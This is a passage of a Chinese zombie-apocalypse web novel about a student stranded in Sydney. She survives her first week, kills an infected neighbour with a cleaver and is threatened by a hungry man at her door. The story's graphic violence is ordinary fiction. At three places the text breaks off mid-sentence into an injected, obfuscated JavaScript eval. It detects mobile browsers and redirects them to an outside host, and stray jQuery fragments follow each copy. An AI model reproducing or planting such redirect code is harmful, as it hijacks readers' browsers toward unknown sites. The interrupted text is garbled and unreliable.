爆炸是从市中心来的,北悉尼和市中心只隔了一条窄窄的内海,所以他们能看见蘑菇云。
到底是什么爆炸了?
程水此刻的脑子里甚至没有想这个问题的意识,她颤抖着抱起购物车里的罐头,努力往她早上买好的两个纸袋子里塞,又往怀里拥住,她的手指都没什么力气,好几次差点把罐头甩出去。
她用力抱住罐头,左右张望,朝着出口冲了出去。
明明应该是白天,超市外面却和黑夜一样昏暗,大雨滂沱,无情地浇灌着它可怜的人们。
程水浑身湿透了,她无助地抱着罐头,冲进了公寓楼,无力再去等待电梯,她磕磕绊绊地爬着楼梯,她的房间在五楼,不算很高。
啪!她被阶梯绊了一下,怀里的东西咕噜噜滚到了地上,有些滚到了两层楼梯之间的镂空,掉到了下面的楼层。程水脑子一片空白,抖着手搂过能抓得住的罐头,连滚带爬地冲上了楼梯。
她一股作气拧开了房门,一进门,她的腿直接软了,跪在了地上,罐头撒了满地。
浑身都在滴水,湿透了黏答答的,又冷又难受。她也没心思顾忌,哆嗦着翻找着衣服的口袋,打着颤的手指握着打滑的手机,她快速打开x信,翻到置顶,给她妈妈打了电话过去。
电话很快被接通了,程水的眼泪飚出眼眶,她妈妈温柔地问:“怎么突然打电话来————嘟嘟嘟”
程水那句“妈妈”还卡在嗓子里,就被硬生生堵住了。她不可置信的擦干净雨水,疯狂发着消息……可是,所有的消息都有个小圆圈在旁边转啊转。
不知过了多久,程水无助地捂住了自己的脸,蜷缩在门口。
末日第一天,全球网络信号中断。
7. 末日第一天
突然和父母失去联系是种怎样的感受?
末日文学里,主角要么是天生情感缺失,要么是情感漠视,要么家庭不幸福,作者这么做是为了快速略过和父母分离的伤感部分,快速进入产生爽感的末日大杀特杀剧情。
但现实很明显不是小说,一个家庭幸福,生活顺遂的普通孩子对父母的依恋是不可估量的,哪怕她有足够的坚强和勇气,可以独自来到海外生活,可内心里,她认为对自己而言父母永远是第一位的。
程水浑身冰冷,手脚发麻,胸口发闷,四肢百骸的血液凝固了,焦虑地颤抖着。
她几乎没有办法想别的事情,恐惧,害怕,某根弦被绷的紧紧的,随后戛然而止,把她炸的一片空白。
妈妈。爸爸。
一朵烟花砰地在她脑中炸开,炸的她头晕目眩,天旋地转,眼前一黑,晕了过去。
再醒来,程水觉得自己浑身热的发烫。
她还是蜷缩在房间门口,身上的衣服湿哒哒的黏在身上,手和脚都沉重的抬不起来。
头更像有把斧子从中间劈开似的,疼痛无比。
她意识恍惚地躺在地上,眼睛迷蒙地睁开,模模糊糊的,似乎看到了自己在国内的家,她的迪士尼公主床单……她软乎的枕头……妈妈大步走进她房间的身影……
妈妈。
妈妈妈妈妈妈。
程水的眼泪横着从眼眶流到鼻梁,滴落在地面。
某个忙碌,温暖,疲惫的虚影背对着她,垂着头对着一台看不清屏幕的电脑敲敲打打,她像小时候那样静静地坐在沙发上看着,吃力的抬起头,细细临摹那个令人安心的背影。
背影慢慢变得更为虚幻,在电子杂色间闪烁,程水吃力地睁开眼睛,却突然有一道白光笼罩了她的视线,慢慢旋转,收缩,扭曲,无数彩色的流星融入那变换的光晕,洪水般冲向程水,耳鸣连绵,意识像失控的鞭炮四散飞溅。
绚烂的银河闪烁着,程水完全不明白发生了什么,她觉得脑袋好重,好膨胀,身体好热,内脏也在发热,浑身像一块烙铁。
一颗又一颗粒子交杂着,收缩着,变成了一团白光,一团又一团白光收缩又张开,变成了一只摆着尾的小鱼虚影子,活泼的在她的脑海里四处冲击,撞上了一面看不见的墙,抖了抖,消散成了一颗又一颗粒子。
程水在迷蒙中一惊,下意识伸手要去接住小鱼,意识碰到了粒子的一瞬间,眼前噼里啪啦的炸开了花,整个世界轰鸣一声倒下,她彻底失去了意识。
————
等她再一次悠悠转醒,房间里已经昏暗无比。
程水撑着地,一手捂着头,龇牙咧嘴地从地上爬起来,摇摇晃晃的打开了洗手间的灯。
…好像做了个梦。
她用力闭了闭眼睛,再睁开,似乎还有一些莫名的感觉残留,她尝试抓住那些感觉,却只能眼睁睁的看着它们溜走。
她把湿衣服脱下来,走进了浴室,打开淋浴头,热水蒸起雾气,感受着温暖的水流在身上冲刷,程水深深地叹了一口气。
她从小有个习惯,喜欢在洗澡的时候想事情,很多时候自己拿不准的,有问题的,不知道该怎么办的想法,似乎在水流的冲刷下都能变成澄澈。
念头洗的愈发清晰,程水清楚的意识到一件最重要的事情:
末日降临了,她被困在澳大利亚悉尼,回不去了。
这个念头是那么可怕,又那么直白,在热水中,程水也不禁打了个寒颤。
但她也清楚的意识到,她必须从此时此刻开始端正想法了,从现在开始的走的每一步,每一个想法,做的每一个决定,都要为了一个目的:
“……我要回国。”程水轻声道。“我必须要回中国。”
是的,程水必须要回国。她不能放下自己的父母,她不敢想象自己的父母知道自己死在大洋彼岸会有多么伤心,她也不能放下自己的祖国,自己的家乡,她知道自己必须要回去,不管用什么办法。
……我只是来留个学没有要留下我的命啊!
程水痛苦地拿头锤着墙壁。
换好衣服出来,绕过满地采购回来的食物,她打开灯,坐在书桌前,戴上自己的眼镜,拿过自己的本子和笔,翻开了空白的一页。
【悉尼灾难中回国计划:
1.假如国内并未爆发类似传染病,国内或许会派救援来,届时必须知道消息,跟救援离开。(必须拿到通讯设备,才能按时知道消息)
回国方式1:飞机。
如果要回去,最快的方式就是坐飞机。但就算灾难没发生,也至少要飞10个小时,她该怎么找到飞机和机长,帮助她回国?
有没有可能有中国人灾难互助会,和他们聚集了,就可以一起搜集这样的机会一起用飞机回去?
如果要达成这一点的话,对此时的程水来说有几个致命的先决条件:
如何在没有公共交通,没有交通工具的情况下前往机场。以及,如何认识这些中国人。以程水这半年的社交成果来看,第二条的难度比第一条还要高。
当然了,方式1飞机是她回去希望最大的方式,她那笔重重的画了好几个圈把它圈起来,意思是重要,记下来。
方式2:坐船。
程水上一次知道可以坐船来澳洲的方式还是1787年,从英国用船运输了一批罪犯来到澳大利亚。
但从中国来,速度较快的船,其实还有货船。按照程水妈妈给她寄东西时的速度来看,花差不多一个月左右,也能从澳洲回到中国。
但这个方式有几个不好的点,第一呢,她不知道货船在哪个港口停靠,以及安全过去的路线。第二呢,货船有没有停运更是一个问题,万一她千辛万苦的赶了过去,结果人家根本不开,她也不会开船啊!这不是白费功夫吗。
至于别的办法,她现在真的想不到,澳大利亚首先是一个岛国,世界上最大的孤立大陆国家,不和任何一个国家边境接壤,除了飞机,哪里还有什么办法能让她横跨大海回到祖国的怀抱。
她又不能游回去。
而还有最后的办法,程水无奈地写下:求悉尼警方快点平息灾难。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586112|171759||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
如果悉尼警方能突然大发神威,重新掌控城市,那程水就不用想办法了,日子就能恢复平常了。可惜,连市中心他们都能完全失控,说明这个办法是多么的渺茫。
程水叹了口气,咬着笔头翻开下一页,接着写道:
【目前要做的事情:
1.在家等待。】
古人云,敌不动我不动。
程水现在要做的最重要的事情就是别冲动,别着急,千万不能随便出去,待在房间里安全的躲过一周之后,如果警方有动作,在家里也能接收到通知,如果没有动作,她再想办法完成她的方法1和2,更是皆大欢喜。
她是个务实的人,对自己的评价也很清醒,没有那个精钢钻就不要揽瓷器活,她又不是什么泰拳冠军,现在正是最乱的时间点,哪怕她着急要回国,也要先冷静下来评估一下,直到回国的可能性达到她能胜任的范围,她再完成。
否则,头脑发热完全清醒不下来,冲出去面对人山人海,一大堆感染者,她就是在送死,怎么安全的去见妈妈?
是的,妈妈。她摇摇头,强迫自己不要去想那个会让她鼻酸的身影,她跟自己说了这么多,就是怕自己头脑发热出去送死。
目前的计划就是这些了。
她从地上的袋子里找了包薯片,打开后吃了起来。仰躺在椅子上,眼神不聚焦的看着天花板,不知道在想些什么。
地上堆满了超市购物回来的食物,这令她心安了许多,至少她暂时不用担心食物短缺在家饿死,而水,澳洲有直饮水龙头,她先对付着喝,如若喝起来味道怪怪的,或者因为外面没有人维护过滤系统导致水里出现不明物体,她再喝自己辛苦搬回来的矿泉水。
曾几何时,她长途跋涉艰辛的通过不靠谱的公共交通前往学校时,总是会感慨,如果记出勤的tutorial和prac取消就好了,或是自己像国内的大学生一样干脆就住在学校好了,这样她就不用逼着自己早起出门,可以待在家里了。
现在愿望达成了,不过是以程水意想不到的方式,也不能说是一件好事的方式。
程水自嘲地笑了笑,翻身从椅子上起来,躺进了自己的被窝。
窗外时不时传来惨叫的声音和汽车发动机的轰鸣声,程水闭着眼睛,都能想象着那些人是如何惊慌失措的坐进车里,带着大包小包逃往郊区或者澳洲内陆。
澳洲和中国的城市建设非常不一样。城市与城市之间隔得很开,除了悉尼,墨尔本,布里斯班这样的大城市会有很多人之外,其他的城市基本上就是个稍微大点的小镇,走在路上可以五分钟碰不到人。
但这些城市都属于内陆地区,或者需要坐很长时间的公共交通前往。
悉尼的郊区也是没什么人的,感染者再怎么厉害,碰不到人也是白搭,往内陆赶确实是个好招,但程水从头到尾都没想过这点。
内陆都是小镇或者小城市,基本上就一条主街能稍微看点,别的地方鸟不拉屎,她跑到那里去,安全是安全了,但她要怎么回国?
而且,她没车……
8. 直面丧尸
一周时间如水般从指尖流过。
没有信号,没有网络,程水的手机电脑和平板就是三块排排站的破砖头。
就算如此,她也没有拿它们去盖泡面,而是都开了省电模式,尽量不碰它们保持电量,一边期盼着信号恢复的那天,一边搜检着之前储存过的内容是否有能用得上的,再抄到笔记本里。
所以,哪怕没网的日子抓心挠肝实在难熬,她也不至于无聊到数地毯上的毛。
刚开始的两天,水和电都能正常使用。公寓管理员还在第二天挨家挨户发了纸条,说可以想办法给大家派送物资,程水认真的把名字填上去,不过,过了好几天都没有人来。
而白天,路上在堵车。
无数人开着车离开悉尼城区,往内陆方向走,程水能听见暴躁的喇叭声,可车流纹丝不动。
北悉尼是悉尼三个经济中心的其中之一,至少程水是这样理解的。在悉尼最高的悉尼眼往北区看,只有两个地方有超过20层的高楼,其中一个就是北悉尼。
按照国内的想法,车道路肯定是宽阔无比,这样才配得上这个区的经济发展。
然而,北悉尼的道路又窄又小,只有两个道,中间还没有隔档。一到放学时间,挤的熙熙攘攘,开车者必须得打起十二分精神。哪怕程水是坐公交,也经常被挤的磕磕碰碰如同碰碰车一样的公交给摇醒。
第二天的中午,程水迷茫地趴在桌子上往外看,数不清的车往一个方向赶,堵在她的窗前。
那也是她第一次看清楚感染者的样子。
一排排车蜷在路上,红色的尾灯一闪一闪地照着阴沉的天空,焦躁不安的喇叭声此起彼伏。一辆车突然从一条小道上高速窜出来,砰!的一声狠狠地撞在了一辆车的车身上,砰——砰砰!被撞飞的汽车又失控地撞在另一辆车的车头,刺啦——车前盖翻了,滚滚白烟。
巨大的撞击声让程水抬起身子,她好奇地往外看去。
车前盖受损的车主怒气冲冲的打开车门,骂道:“操!你们这些混蛋!该死的!”
车主愤怒的踹了一脚那翻转到底的汽车,其他被连累的车主也下车,抱着手臂,皱着眉头,不满地说着些什么,后面的车喇叭按的震天响,车主大骂到:“闭嘴!都该死的闭嘴!”
喇叭声,骂声,刺耳到让程水默默捂住了耳朵。
而被所有人忽视的那辆翻倒的黑色轿车侧着躺在路中央,车窗碎的一塌糊涂,在众人的争吵和叫骂中,程水眼尖的看见了一只苍白发灰的手慢慢探了出来。
她以为是人,只默默注视着事情发展,很快,她的眼神逐渐凝重。
“听着,你们!这不是我的问题,好吗?该死的,是的,你的车前盖翻了,我的也是!我说什么了吗?你可以联系那些条子,但他们现在估计还在夹着屁股逃跑呢!该死的混蛋!”
车主凶狠地说,面前站着其他几个车主,叉着腰骂道,满意的看见这几个车主变了脸色,道:“对,就是这样,这和我完全无关。”
站在对面的人慢慢抬起手,车主疑惑地看着那人的动作:“…你要干什么?听我说,想找我要钱,没可能————”
车主的话没能说完,某个沉重的,冰冷的,腥臊的身躯掉在了车主的身上,吞掉了未完成的那句话。脖子上的软肉被一口咬下,动脉破裂,喷溅出了大量的血迹,迎头浇在了对面几个人身上。
“!!啊!!”
一个头顶破碎,颅骨里只剩下灰白的脑浆的‘人’抬起头,它浑身上下都是鲜红的血,速度奇快的扑向了另一个人,肢体动作和正常人完全不一样,并非大脑控制着肌肉,肌肉控制着骨头往前移动,更像是它浑身都有自己的意识,嚎叫着扑向所有和它不是同类的人。
这也让它更加恐怖,它的速度很快,闪电般咬下了好几个人的脸颊。随着它的动作,发现发生了什么的车流彻底乱了,所有人都想驱车逃离,接二连三的碰撞和冒烟,但更令人恐惧的事情出现了,刚刚被咬死的人又摇摇晃晃地站了起来,迅速地扑向了其他人。
程水的心‘咚’地重重跳了一下,惊恐地缩进了桌子底下。
她看清了那东西,那个感染者,不,那根本是一具尸体!
等到晚上,一切声音彻底平息,乱撞的车停的满街都是,将整条街堆的满满当当。大量的浓重血腥味弥漫到程水的房间,从那天开始,她也不再开窗。
而本来她的左邻右舍还有些动静,从那天开始变得悄无声息,所有人都发现自己在面对什么了,胆小谨慎的不敢发出任何动静。
程水心态大崩的到了第三天,她饿了。正准备烧水泡泡面,闸突然跳了,电再也没有回来。她没有停电应急蜡烛,但她有打火机和之前买的香薰蜡烛,勉强还有火光。
北悉尼这套学生公寓是新建的,她所在的楼层也不高,来悉尼的这半年没遇到过停电。但她知道有住在老一些的房子里的同学,应急蜡烛和手电筒是必需品,因为跳闸实在是太常见了。
再之后水也停了,程水一直拿自己仅有的两个盆备着备用水,这才没有太过无助。
楼下是时不时游荡的感染者,房间里是被困绝望的字迹,她此刻的心态是低谷中的低谷。
人类社会最基本的需求,水和电已经彻底停了,这说明什么?
获救的概率再一次降低,澳洲政府恐怕真的完全没有任何能力控制悉尼的情况了。
第四天,没有电的冰箱只能当储藏柜来用,一些需要冰鲜的水果和肉只能放在了外面,先吃容易腐烂的水果。
肉肯定是没有办法做了,她没有火用。
第五天,第六天,第七天。
生鲜食物腐烂发臭,水资源告罄。
在恐惧,不安,焦虑中折磨的程水,现在担心的事情从如何快速回国,变为了最基本的生存问题。
————————
实话实说,恐惧和不安已经不足以形容现在的程水。
她快要发疯了。
她再一次肯定了所有的末日小说里,那些冷静自持无情的主人公都是变态,在这样的极端情况下,哪怕她食物量还够,只是没有了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586113|171759||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
水和电,她都到达了精神崩溃的边缘。
学生公寓的房间很狭小,她不敢看窗外的场景,长时间拉着窗帘,房间里昏暗一片。开始腐烂的生鲜有股刺鼻的甜腻腐烂味儿,不管她如何包住那些东西放在柜子的最底层,腥气和骚味都能突破重重阻碍进入她的鼻腔。
晚上,寂静黑暗。她无助地缩在被子里,悲观的想着自己的将来。在最低落最低落的时候,她会开始想自己的妈妈。
妈妈。
她不再克制自己不去想那个身影,相反,她每时每刻,感到痛苦的时候都会想妈妈。让自己不断地想自己为什么一定要坚持下去。
第八天。
她决定干一件稍微没有那么危险的事情,不能再待在房间里了。
她打开自己的本子,咬着笔头写起来。
她需要寻找物资,食物暂时不紧缺,但水很着急。一个人不吃东西能活一周,不喝水只能活三天,程水已经断水一天半,嗓子干涸的快要冒烟。
还有手电筒。她买的香薰已经用完了,夜晚彻底没有了一点光,没有任何光亮的夜晚让她几次悲观到绝望,必须要硬生生睁眼到白天。
她关上本子,走到灶台旁边,拿出了她唯一的武器:一把中国城买的菜刀。被她用磨刀石磨的极其锋利,反射着令人满意的银光。
接着,她穿上了自己的运动衣和lululemon的紧身瑜伽裤,试探了一下动作,衣服没有任何阻碍才缓了一口气。她跨上自己的腰包,往里面装了房门钥匙,一瓶辣椒水,她自己拿辣椒粉和马桶水兑的,和一把小镜子。
最后,她的脸绷的紧紧的,表情凝重的吓人,轻轻握上了房门把手。
她的计划是探索自己住的这一栋楼,是给自己的一次练手。她不能永远待在家里,而她也没法相信自己能做到在窗外的那条街上生存,那折中一些,她决定至少出一次门,就在自己家这一层和楼上一层活动,一是探索物资,二是换换心情。
她准备去6楼,也就是她家楼上。
在自己这一层探索有个危险的地方,就是容易被这一层的人发现,自己这一层还有幸存者,而从现实层面考虑,她独自一人居住,探索的动静或多或少会有一点,如若被坏人发现,那她会有危险。
但悄悄前往楼上,或是楼下,这样的危险就少了很多。
为什么不是楼下??
往楼下走等同于靠近窗外那条街……她害怕。
动作轻巧地来到楼梯口,心跳如擂鼓般震动,她握紧了手上的菜刀,咽了口口水,缓缓踏上楼梯。
即将进入六楼前,她拿出自己的小镜子,悄悄探出去。用反光观察着楼道的情况。
左边,没有任何生物。
右边……镜子一转,一道浑身是血的人影静静站立在楼道中间。
程水吓了一跳,手滑,镜子跌落在地,发出清脆的声音。
落在地面的镜子反光里,那道人影低垂的头猛地抬起,灰白肿胀的脸眼球暴突,狰狞地嚎叫了一声,猛地朝楼梯口的方向冲了过来——!
9. 丧尸首杀
排山倒海的压迫感瞬间袭来,感染者灰白的脸上嘴巴大张着,喉咙里发出非人的,急促的嘶吼,腐臭和血腥气浓重涌出,浑浊的眼球盯住了程水,霎那间,她从脖子一路起鸡皮疙瘩到了腰眼。
程水在窗前看过感染者的动作,她知道它们动作迅速,但从没想过会这么快!
几秒内,感染者已急促地扑向了她!
她当下大脑一片空白,下意识的往后退,感染者却已经来到了她的面前,大张着腐败的嘴,她甚至能看得清发黄的牙齿上的血丝。
没办法,她往侧边急急的绕了一步,躲开了感染者凶狠的一咬,巨大的咬合声令人不寒而栗,程水慌不择路的后退,进入了六层的楼道,感染者却没停,数次咬合的破空声,一击不成又是一咬。
程水浑身都在战栗,肾上激素连带着恐惧急速飙升!
她颤抖着挥舞着菜刀,噗呲!刀锋沉入肉里,骨头发出令人牙酸的咔嚓声,她一刀劈中了那张灰黄发青的脸上。
如果还是人类,这一击足以让人倒在地上失去意识,可感染者没有,它被菜刀的力停住一瞬,满是污血的牙齿快速咬合着,连带着程水握着刀把的手都跟着上下颤动。
程水不敢放开手,她不能失去她唯一的武器,她握紧菜刀,用力往上一拔,脚下用全力往前一踢!
噗呲!
程水连连后退,一屁股跌在地上,而感染者被她全力一踢,也后撤了几步。
两人隔开了一些距离。
这真是生死攸关的时刻了。程水长到这么大,和人动手的次数屈指可数,此刻完全是跟随着本能在动作,还有不想死的信念。
不想死不想死不想死!!
她满头的冷汗,眼神紧紧聚焦在那重新扑上来的东西上,她握紧了菜刀,指节因为用力而泛白,掌心早已被冷汗浸湿,呼吸急促,心跳激烈的砰砰作响。
冷静……冷静……
噗呲!
迎头又是一击,刀刃劈开了感染者脸部发灰的肌肉,相碰之下,她能听见刀刃被崩裂的声音。
两刀完全劈翻了感染者的脸,让它变得面目全非,可它的动作却丝毫没有凝滞,还在一次又一次的扑上来,程水的动作变得越来越狼狈,越来越缓慢,又一次跌坐在地,她竭力往外一扑,躲开它的咬合,额头的冷汗顺着动作滚落在地。
不能再这样了。
程水急促的呼吸,她的心跳快要跳炸了,手臂也越来越酸,她快把感染者的半个脑袋砍下来了,它还是不为所动,动作像程序设定了一般,又快又猛。
想想办法……想想办法……观察……
感染者再次摇摆着冲了过来,程水撑在地上,双腿紧绷预备发力,这个视角却让她能观察到感染者的下盘,它脚步和正常人走路不太一样,虽然看似迅猛,但右脚踏在地面上的时候没有正常的膝关节弯曲,而是完全直着的……
又是一咬!她喘着粗气往后一爬,眼尖的发现它的右腿在转身来追她时是向外歪着的,如果是正常人,此时只能用担架抬着走了,可它的动作依旧迅猛无比。
程水终于察觉到了一点异样,感染者的右腿,像是在强行维持着一个已经断掉的结构。
也就是说:那条右腿,是骨折的。
这个发现像一道闪电,劈开了浑浊与混沌,程水的脑子在生死间从没有这么清明。
她是生物专业的,这学期有一门课是解刨学,她不是学医学的,只用学基础的肌肉,关节,骨骼就行,这是下周期中要考的内容,此刻的她不能再记得了。
人体的每个关节结构都是精心构建的,平衡身体的重心,身体才能行动,如若重心不稳,那么身体就无法保持站立姿态。
仿佛被打入了一针强心剂,她眼神发亮,握紧了菜刀,微微蹲下,弯下腰。
感染者发出了一声高昂的嘶吼,可怖的吼声震耳欲聋,它朝着程水冲了过来!
噗呲!
结实的菜刀沉入肉中,砍进骨头的声音!
感染者从程水弯着的身上翻倒,已经骨折的膝关节被砍断到只剩下一半,可怜兮兮的肉断皮连在身上,它尝试起来重新扑过来,断掉的膝关节无法支撑它的身躯,抽搐的倒在地上。
程水来不及思考,用全力砍断了它的另一条膝关节!
骨头的硬度是用尽全力的菜刀也无法抗衡的,可程水居然硬是砍断了骨头,等左腿膝关节也肉断皮连时,菜刀也快宣告退休了,刀刃上被崩的坑坑洼洼。
只剩下上半身还能动的感染者还在锲而不舍的朝她咬来,她躲避着疯狂凶残的咬合,最后一次,用菜刀狠狠地劈向它的脖子!
脖子的脊柱发出明显的断裂声,感染者的嘴只能小幅度的张合,两只手臂胡乱的挥舞,却失去了抓到程水的可能。
安……安全了。
程水脱力的靠在墙上,急促的喘息,菜刀‘铛!’地一声落在地上。
“操……我操了……”她骂了一声,抹了一把脸上的汗,手还在止不住的痉挛。
太不容易了,我操,太不容易了。
她不敢相信,自己居然真的成功了。
而且,不知道是不是错觉,她总感觉自己的力气比往常要大的多,如果换做平常,感染者扑上来的第一下,她就只有跪地求饶的份。
一条模糊的鱼尾白影在脑海中一闪而过,程水愣了愣,下意识的伸手一抓,那种古怪的感觉稍纵而逝。
她奇怪地蹩了蹩眉头。
在感染者原本站立的位置,一间房门大开着,里面黑洞洞的。程水猜测,这是感染者原本住的房间,他在外面遭到了感染,逃回来的时候,刚打开房门就发生了异变。
她摸索着进了房间,虽然昏暗,但能看出来里面十分整洁,没有外来人进入过。
原因也很好猜,感染者血刺呼啦的站在房门口,谁敢靠近啊。
不过,房间没有外人进入过,说明里面还含有物资的可能性很高,倒是便宜了程水。
学生公寓的房间构造都是一样的,她按照自己房间差不多的位置摸索到了厨房,打开了冰箱,一股浓重的酸臭腐烂味袭来,里面的生鲜果然全部腐烂了,但侧边的挡板里还放了两瓶没打开过的乌龙
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586114|171759||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
茶,程水喜形于色,经历过刚刚的恶斗,又是断水快要两天,她早就渴的受不了了。
打开乌龙茶,她急切地吞咽了两口,感受着喉咙好不容易的湿润。
剩下的,她不敢再喝了,宝贝的抱在怀里,摸索到了房间,拉开了窗帘。
阳光洒入室内,程水不适应的挡了挡脸,终于把室内情况尽入眼帘。
房间内干净整洁,呼吸间有淡淡的灰尘味,书桌旁边放着两个打开的箱子,里面有一堆衣服,两边的架子上也挂着衣服,大部分是衬衫,卫衣和T恤,而且都是黑白灰。
书桌上放着一台游戏本,摆着几个乐高,还有一瓶喝到一半的水。
程水没放过那瓶水,一起抱在怀里。
她一边内心默默道歉,一边窸窸窣窣的翻着书桌,在柜子里,一打开就看到了一个粉色的礼物盒,上面还放着一张拍立得。
伸手把拍立得拿起来,她站直身子,凑近了看,两个模糊的人影一高一低,亲密的依偎在一起,背景是悉尼唯一的游乐园,女生在模仿游乐园招牌上那张怪诞的笑脸,男生宠溺地看着她笑。
程水沉默了。
她突然觉得很难过。
这张照片里,男生的脸青春洋溢,和外面那张被菜刀劈的七零八落的面孔完全对不到一起。
而且,这张脸她越看越熟悉……直到和某一天,她晚上下楼去超市买东西时,在电梯上遇见的某个穿着黑卫衣的男生重合。
她的心重重一跳,仿佛被无形的手狠狠碾压过,她有点喘不过气。
……他还提醒她,让她出去买东西的时候要小心。
像触电了似的,她把拍立得甩在桌上,强迫自己扭头翻找物资。她得活下去啊……对不起,真的对不起,但是她也得活下去,她还没回去见到妈妈,她也不能死。
程水忍着眼泪,在房间里翻箱倒柜,找到了她很需要的手电筒,以及一些七零八碎能用得上的东西,直到两只手抱都抱不下,腰包也堆满了,她才罢手。
…早知道拿个大点的包了,她懊恼的想,可太大的包容易影响她的动作。她一开始也没想过会直面感染者,她只是想着出来活动一下,只在自己家这两层楼移动,如果有任何不对劲的情况出现,她就火速回家。
谁知道…她不仅直面了,还战斗了。
想起外面的感染者,她不愿在这间房间再里停留太久,正要转身离开时,她的余光又看见了那张拍立得。
犹豫了片刻,不知是出于什么心理,她伸手拿过它,放进了腰包里。
随即,她小跑着离开了房间,绕过了地上还在扑腾挣扎的感染者,一股作气冲下了楼梯,进入了自己的房间。
门咔哒一声关上,她沉默地靠在门上,看不出在想些什么。
屋内只有淡淡的,生鲜腐烂后的臭味,没有一点声音,安静到只能听见程水剧烈的心跳。
她深深叹了一口气:“哎————”
咚咚咚!!
一口气还没叹完又提了起来,把她噎住,她背后的门轻颤起来。
……有人在敲门!
10. 还不如遇见丧尸
不是她的错觉。
咚咚咚!
真的有人在敲门。
“哈喽?”门外,一个低沉的声音模糊的响起,“我刚刚看见你进去了。”
程水脑中瞬间警铃大作,她定在原地,脖子一凉。
“哈喽?!”屋外的人似乎没耐心了,急切地敲着门。
声音虽不真切,但能听出来极为低沉,按口音,还有卷舌,不像是中国人。程水打开猫眼的盖子,屏住呼吸,悄悄贴了上去……
一片漆黑,这不应该。程水却仿佛感受到了什么,心脏开始狂跳。
屋外的东西后退,一只放大的,扭曲的,满是血丝的眼球直勾勾的透过猫眼看过来!
!!!
程水下意识地往后退了一步,脚后跟不小心踢到了地上的杂物,发出清脆的磕碰声。
敲门声停了一瞬,又更加凶猛地响起,门框猛烈的颤动。
“你在里面……对吗?我看到你进去了……还有你带着的食物。”声音嘶哑低沉,一股不好的预感在程水心头狂跳,她本能地倒吸了一口凉气,像只猫被捏紧了后脖子,定在原地。
敲门声逐渐弱下去,门外的声音变得清晰,甚至带了一丝隐约的哀求:“……我很饿,我真的很饿。我有三天没有吃任何东西了,拜托,我只要一点点就好。”
程水咽了咽口水,浑身绷紧,一动不动,没有任何回应。
“求你了……好吗?我真的很饿,非常,非常的饿…”他像是整个人贴在门上,嘴紧贴着门板发声,嘶哑地恳求道:“我发誓…我不会伤害你,我只是想活下去,对吧?每个人都想活,我只是想要一点点食物而已,一块面包,一口水,什么都行。”
程水浑身冰冷,被惊吓的大脑却渐渐恢复理智,她后知后觉的明白发生了什么,外面的人看见了她拿着从楼上带回来的食物,她此刻十分懊恼,应该再小心观察一下再回来的。
没有任何回应,屋外的人沉默片刻,程水默默的盯着门,在僵持中,门被用力的踢了一下——砰!
“来吧,别这么自私,好吗?你一个人也不需要那么多的食物,只是小小的分一些给可怜的人,为什么不行!”屋外的人暴怒道,又压下嗓音来:“我知道你一个人住在里面,在这一切发生之前,我见到过你一个人回家……我只要一点食物,好吗?”
声音顿了顿,沉沉地说:“然后我立刻就走,否则……我不知道会发生什么。”
程水敏锐的察觉到了浓重的,威胁的意味。
她尽力让自己显得冷静:“……你想干什么?”
听到程水的回应,屋外的人喜道:“食物!给我一些食物,拜托,我保证我会立刻离开,好吗?”
程水慢慢后退,轻轻的绕过地上的杂物,保持着语调的平稳:“真的只需要食物吗?”
屋外的人急道:“是的!求你了,我真的很饿,真的真的,我会感激你的,上帝也会保佑你,上帝会保佑所有好心的人。”
“我不信上帝。”程水试探着说,她轻轻弯腰,从地上捡起来在楼上拿的水果刀,努力不让自己的声音颤抖,“但我可以给你两块饼干。”
虽然人人称赞澳洲的安全,甚至有人根本不锁家门,但入室盗窃,□□,杀人,这样的事件还是屡见不鲜,澳洲并不是安全绿洲,也只是一个有好人有坏人的国家,因为地广人稀,让摩擦事件变少了而已。
该有的警惕心程水绝不会少,尤其是独居,她不是那种天真的乖宝宝,她自己出国来到一个陌生的国家,如果没有足够的警惕心理,早就被骗了八百回了。
如果门外站着的是一个女生苦苦对她哀求,她或许会心软,可这个情况,不可能,绝不可能。
“两块饼干?!”屋外的人暴怒地说,“你有那么多,上帝啊,为什么你要这么自私呢?”
程水咽了咽口水,观察着自己被撞的砰砰作响的门……两块饼干只是她随口一说,看到屋外的人危险的表现,她更加确定了自己的想法:
绝不可能开门!
屋外的人显然已经饿疯了,不管她给多少的食物,他可能都不会满意,而且,最危险的地方是,自己一个女生独自在家,他要是能进入,会只满足于拿食物吗?
人类的贪婪心是无穷无止的,尤其在霍乱时期。
学生公寓的门还算结实,砰砰撞了这么久都不见松动,程水却没办法放下心,她的心随着门的颤动一下一下重重跳着,她必须想点办法出来,除了开门以外,她还能干吗?!
